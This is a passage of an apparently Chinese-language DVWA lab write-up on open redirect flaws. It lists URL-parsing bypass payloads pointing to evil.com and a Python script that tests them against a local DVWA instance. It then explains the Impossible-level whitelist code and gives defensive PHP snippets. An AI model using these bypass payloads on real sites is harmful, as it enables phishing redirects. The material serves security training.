id="方法1：利用解析器差异"><a href="#方法1：利用解析器差异" class="headerlink" title="方法1：利用解析器差异"></a>方法1：利用解析器差异</h4><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">某些情况下，<span class="built_in">parse_url</span>()和浏览器解析URL的方式不同</span><br><span class="line"></span><br><span class="line">URL: http:<span class="comment">//example.com\@evil.com</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">parse_url</span><span class="params">()</span></span>可能认为：</span><br><span class="line">host = <span class="string">&quot;example.com&quot;</span></span><br><span class="line"></span><br><span class="line">但浏览器可能认为：</span><br><span class="line">host = <span class="string">&quot;evil.com&quot;</span></span><br><span class="line"></span><br><span class="line">结果：检查通过，但重定向到evil.com</span><br></pre></td></tr></table></figure><h4 id="方法2：协议相对URL"><a href="#方法2：协议相对URL" class="headerlink" title="方法2：协议相对URL"></a>方法2：协议相对URL</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">如果允许的白名单没有检查协议：</span><br><span class="line"></span><br><span class="line">URL: ?redirect=<span class="regexp">//</span>evil.com</span><br><span class="line"></span><br><span class="line">某些配置下可能绕过检查</span><br></pre></td></tr></table></figure><h4 id="方法3：端口绕过"><a href="#方法3：端口绕过" class="headerlink" title="方法3：端口绕过"></a>方法3：端口绕过</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=http:<span class="regexp">//</span>example.com:<span class="number">8080</span>@evil.com</span><br><span class="line"></span><br><span class="line">或</span><br><span class="line">URL: ?redirect=http:<span class="regexp">//</span>example.com%<span class="number">2</span>f.evil.com</span><br></pre></td></tr></table></figure><p><strong>实际测试：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> urlencode</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/vulnerabilities/redirect/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;high&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;your_session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试各种绕过payload</span></span><br><span class="line">payloads = [</span><br><span class="line">    <span class="string">&quot;http://example.com@evil.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;http://example.com\\@evil.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;http://example.com%2f.evil.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;//evil.com&quot;</span>,</span><br><span class="line">    <span class="string">&quot;http://example.com:80@evil.com&quot;</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line">    params = &#123;<span class="string">&#x27;redirect&#x27;</span>: payload&#125;</span><br><span class="line">    response = requests.get(url, params=params, cookies=cookies, allow_redirects=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">302</span>:</span><br><span class="line">        location = response.headers.get(<span class="string">&#x27;Location&#x27;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] Payload worked: <span class="subst">&#123;payload&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;    Redirects to: <span class="subst">&#123;location&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] Payload blocked: <span class="subst">&#123;payload&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的URL验证，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：验证Anti-CSRF token ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="variable">$redirect</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护1：严格的白名单 ★★★</span></span><br><span class="line">    <span class="comment">// 定义允许的重定向URL（相对路径或绝对路径）</span></span><br><span class="line">    <span class="variable">$allowed_redirects</span> = [</span><br><span class="line">        <span class="string">&#x27;success.php&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;dashboard.php&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;/vulnerabilities/redirect/success.php&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;https://www.example.com/success&#x27;</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护2：完全匹配，不是包含 ★★★</span></span><br><span class="line">    <span class="comment">// in_array() - 严格检查</span></span><br><span class="line">    <span class="comment">// 参数3：true表示严格比较（类型和值都要相等）</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">in_array</span>( <span class="variable">$redirect</span>, <span class="variable">$allowed_redirects</span>, <span class="literal">true</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 额外检查：如果是绝对URL，验证协议和域名 ★★★</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="title function_ invoke__">strpos</span>( <span class="variable">$redirect</span>, <span class="string">&#x27;http&#x27;</span> ) === <span class="number">0</span> ) &#123;</span><br><span class="line">            <span class="comment">// 解析URL</span></span><br><span class="line">            <span class="variable">$parsed</span> = <span class="title function_ invoke__">parse_url</span>( <span class="variable">$redirect</span> );</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span>( !<span class="variable">$parsed</span> ) &#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid URL format&lt;/pre&gt;&quot;</span>;</span><br><span class="line">                <span class="keyword">exit</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// ★★★ 验证协议 ★★★</span></span><br><span class="line">            <span class="variable">$allowed_schemes</span> = [<span class="string">&#x27;http&#x27;</span>, <span class="string">&#x27;https&#x27;</span>];</span><br><span class="line">            <span class="variable">$scheme</span> = <span class="variable">$parsed</span>[<span class="string">&#x27;scheme&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span>( !<span class="title function_ invoke__">in_array</span>( <span class="variable">$scheme</span>, <span class="variable">$allowed_schemes</span> ) ) &#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid protocol&lt;/pre&gt;&quot;</span>;</span><br><span class="line">                <span class="keyword">exit</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// ★★★ 验证域名 ★★★</span></span><br><span class="line">            <span class="variable">$allowed_domains</span> = [<span class="string">&#x27;www.example.com&#x27;</span>, <span class="string">&#x27;example.com&#x27;</span>];</span><br><span class="line">            <span class="variable">$host</span> = <span class="variable">$parsed</span>[<span class="string">&#x27;host&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span>( !<span class="title function_ invoke__">in_array</span>( <span class="variable">$host</span>, <span class="variable">$allowed_domains</span> ) ) &#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid domain&lt;/pre&gt;&quot;</span>;</span><br><span class="line">                <span class="keyword">exit</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// ★★★ 验证端口（如果有） ★★★</span></span><br><span class="line">            <span class="variable">$port</span> = <span class="variable">$parsed</span>[<span class="string">&#x27;port&#x27;</span>] ?? <span class="literal">null</span>;</span><br><span class="line">            <span class="keyword">if</span>( <span class="variable">$port</span> !== <span class="literal">null</span> &amp;&amp; !<span class="title function_ invoke__">in_array</span>( <span class="variable">$port</span>, [<span class="number">80</span>, <span class="number">443</span>] ) ) &#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid port&lt;/pre&gt;&quot;</span>;</span><br><span class="line">                <span class="keyword">exit</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 所有检查通过，安全重定向 ★★★</span></span><br><span class="line">        <span class="title function_ invoke__">header</span>( <span class="string">&quot;Location: &quot;</span> . <span class="variable">$redirect</span> );</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 改进：不透露白名单信息 ★★★</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid redirect target&lt;/pre&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 记录可疑行为 ★★★</span></span><br><span class="line">        <span class="title function_ invoke__">logSecurityEvent</span>(<span class="string">&#x27;Invalid redirect attempt&#x27;</span>, [</span><br><span class="line">            <span class="string">&#x27;user&#x27;</span> =&gt; <span class="title function_ invoke__">dvwaCurrentUser</span>(),</span><br><span class="line">            <span class="string">&#x27;redirect&#x27;</span> =&gt; <span class="variable">$redirect</span>,</span><br><span class="line">            <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">            <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>)</span><br><span class="line">        ]);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML表单（包含CSRF token）：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">&quot;GET&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;hidden&quot;</span> <span class="attr">name</span>=<span class="string">&quot;user_token&quot;</span> <span class="attr">value</span>=<span class="string">&quot;&lt;?php echo $_SESSION[&#x27;session_token&#x27;]; ?&gt;&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">label</span>&gt;</span>Select destination:<span class="tag">&lt;/<span class="name">label</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">name</span>=<span class="string">&quot;redirect&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;success.php&quot;</span>&gt;</span>Success Page<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;dashboard.php&quot;</span>&gt;</span>Dashboard<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">option</span> <span class="attr">value</span>=<span class="string">&quot;https://www.example.com/success&quot;</span>&gt;</span>External Success<span class="tag">&lt;/<span class="name">option</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>Go<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>严格白名单</strong> - 只允许预定义的URL</li><li><strong>完全匹配</strong> - 不是部分匹配</li><li><strong>协议验证</strong> - 只允许http&#x2F;https</li><li><strong>域名验证</strong> - 只允许指定域名</li><li><strong>端口验证</strong> - 只允许标准端口</li><li><strong>审计日志</strong> - 记录所有失败尝试</li><li><strong>不泄露信息</strong> - 错误消息统一</li></ol><p><strong>验证流程：</strong></p><figure class="highlight livecodeserver"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">用户选择重定向目标</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">1.</span> 验证CSRF Token → 无效则拒绝</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">2.</span> 检查是否在白名单中 → 不在则拒绝</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">3.</span> 如果是绝对<span class="built_in">URL</span>：</span><br><span class="line">   <span class="keyword">a</span>. 验证协议 → 不是<span class="keyword">http</span>/<span class="keyword">https</span>则拒绝</span><br><span class="line">   b. 验证域名 → 不在白名单则拒绝</span><br><span class="line">   c. 验证端口 → 非标准端口则拒绝</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">4.</span> 记录重定向日志</span><br><span class="line">    ↓</span><br><span class="line"><span class="number">5.</span> 执行重定向</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被阻止：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">攻击1：?<span class="attribute">redirect</span>=https://evil.com</span><br><span class="line">白名单检查 → 不在列表 → 拒绝</span><br><span class="line"></span><br><span class="line">攻击2：?<span class="attribute">redirect</span>=success.php@evil.com</span><br><span class="line">白名单检查 → 完全不匹配 → 拒绝</span><br><span class="line"></span><br><span class="line">攻击3：?<span class="attribute">redirect</span>=https://example.com.evil.com</span><br><span class="line">白名单检查 → 不在列表 → 拒绝</span><br><span class="line"></span><br><span class="line">攻击4：?<span class="attribute">redirect</span>=//evil.com</span><br><span class="line">白名单检查 → 不在列表 → 拒绝</span><br><span class="line"></span><br><span class="line">攻击5：URL编码绕过</span><br><span class="line">白名单检查 → 编码后不匹配 → 拒绝</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>白名单机制</strong> - 默认拒绝，只允许明确列出的URL</li><li><strong>完全匹配</strong> - 不接受任何变体</li><li><strong>多层验证</strong> - 协议、域名、端口都检查</li><li><strong>CSRF防护</strong> - 防止攻击者构造恶意链接</li><li><strong>审计日志</strong> - 记录所有异常</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用白名单（最佳方案）"><a href="#1-使用白名单（最佳方案）" class="headerlink" title="1. 使用白名单（最佳方案）"></a>1. 使用白名单（最佳方案）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义允许的重定向URL</span></span><br><span class="line"><span class="variable">$allowed_redirects</span> = [</span><br><span class="line">    <span class="string">&#x27;/dashboard&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;/profile&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;/settings&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;https://trusted-site.com/page&#x27;</span></span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="variable">$redirect</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;redirect&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 严格匹配</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$redirect</span>, <span class="variable">$allowed_redirects</span>, <span class="literal">true</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid redirect&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: <span class="subst">$redirect</span>&quot;</span>);</span><br><span class="line"><span class="keyword">exit</span>;</span><br></pre></td></tr></table></figure><h4 id="2-只允许相对路径"><a href="#2-只允许相对路径" class="headerlink" title="2. 只允许相对路径"></a>2. 只允许相对路径</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只允许站内跳转</span></span><br><span class="line"><span class="variable">$redirect</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;redirect&#x27;</span>] ?? <span class="string">&#x27;/&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 确保是相对路径</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$redirect</span>, <span class="string">&#x27;http&#x27;</span>) !== <span class="literal">false</span> ||</span><br><span class="line">    <span class="title function_ invoke__">strpos</span>(<span class="variable">$redirect</span>, <span class="string">&#x27;//&#x27;</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Only relative paths allowed&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 额外：防止路径遍历</span></span><br><span class="line"><span class="variable">$redirect</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;..&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$redirect</span>);</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: <span class="subst">$redirect</span>&quot;</span>);</span><br><span class="line"><span class="keyword">exit</span>;</span><br></pre></td></tr></table></figure><h4 id="3-验证域名"><a href="#3-验证域名" class="headerlink" title="3. 验证域名"></a>3. 验证域名</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isAllowedDomain</span>(<span class="params"><span class="variable">$url</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$parsed</span> = <span class="title function_ invoke__">parse_url</span>(<span class="variable">$url</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable">$parsed</span> || !<span class="keyword">isset</span>(<span class="variable">$parsed</span>[<span class="string">&#x27;host&#x27;</span>])) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$allowed_domains</span> = [</span><br><span class="line">        <span class="string">&#x27;example.com&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;www.example.com&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;subdomain.example.com&#x27;</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">in_array</span>(<span class="variable">$parsed</span>[<span class="string">&#x27;host&#x27;</span>], <span class="variable">$allowed_domains</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$redirect</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;redirect&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">isAllowedDomain</span>(<span class="variable">$redirect</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid domain&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: <span class="subst">$redirect</span>&quot;</span>);</span><br><span class="line"><span class="keyword">exit</span>;</span><br></pre></td></tr></table></figure><h4 id="4-使用映射而非直接URL"><a href="#4-使用映射而非直接URL" class="headerlink" title="4. 使用映射而非直接URL"></a>4. 使用映射而非直接URL</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用ID映射到URL</span></span><br><span class="line"><span class="variable">$redirect_map</span> = [</span><br><span class="line">    <span class="string">&#x27;success&#x27;</span> =&gt; <span class="string">&#x27;/success.php&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;dashboard&#x27;</span> =&gt; <span class="string">&#x27;/dashboard.php&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;profile&#x27;</span> =&gt; <span class="string">&#x27;/user/profile.php&#x27;</span></span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="variable">$redirect_id</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;redirect&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$redirect_map</span>[<span class="variable">$redirect_id</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid redirect ID&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: &quot;</span> . <span class="variable">$redirect_map</span>[<span class="variable">$redirect_id</span>]);</span><br><span class="line"><span class="keyword">exit</span>;</span><br></pre></td></tr></table></figure><h4 id="5-添加确认页面"><a href="#5-添加确认页面" class="headerlink" title="5. 添加确认页面"></a>5. 添加确认页面</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 重定向到外部网站前显示警告</span></span><br><span class="line"><span class="variable">$redirect</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;redirect&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">isExternalUrl</span>(<span class="variable">$redirect</span>)) &#123;</span><br><span class="line">    <span class="comment">// 显示确认页面</span></span><br><span class="line">    <span class="meta">?&gt;</span></span><br><span class="line">    &lt;h2&gt;You are leaving our site&lt;/h2&gt;</span><br><span class="line">    &lt;p&gt;You are about to visit: <span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$redirect</span>); <span class="meta">?&gt;</span>&lt;/p&gt;</span><br><span class="line">    &lt;p&gt;Do you want to <span class="keyword">continue</span>?&lt;/p&gt;</span><br><span class="line">    &lt;a href=<span class="string">&quot;&lt;?php echo htmlspecialchars(<span class="subst">$redirect</span>); ?&gt;&quot;</span>&gt;Yes, <span class="keyword">continue</span>&lt;/a&gt;</span><br><span class="line">    &lt;a href=<span class="string">&quot;/&quot;</span>&gt;No, stay here&lt;/a&gt;</span><br><span class="line">    <span class="meta">&lt;?php</span></span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: <span 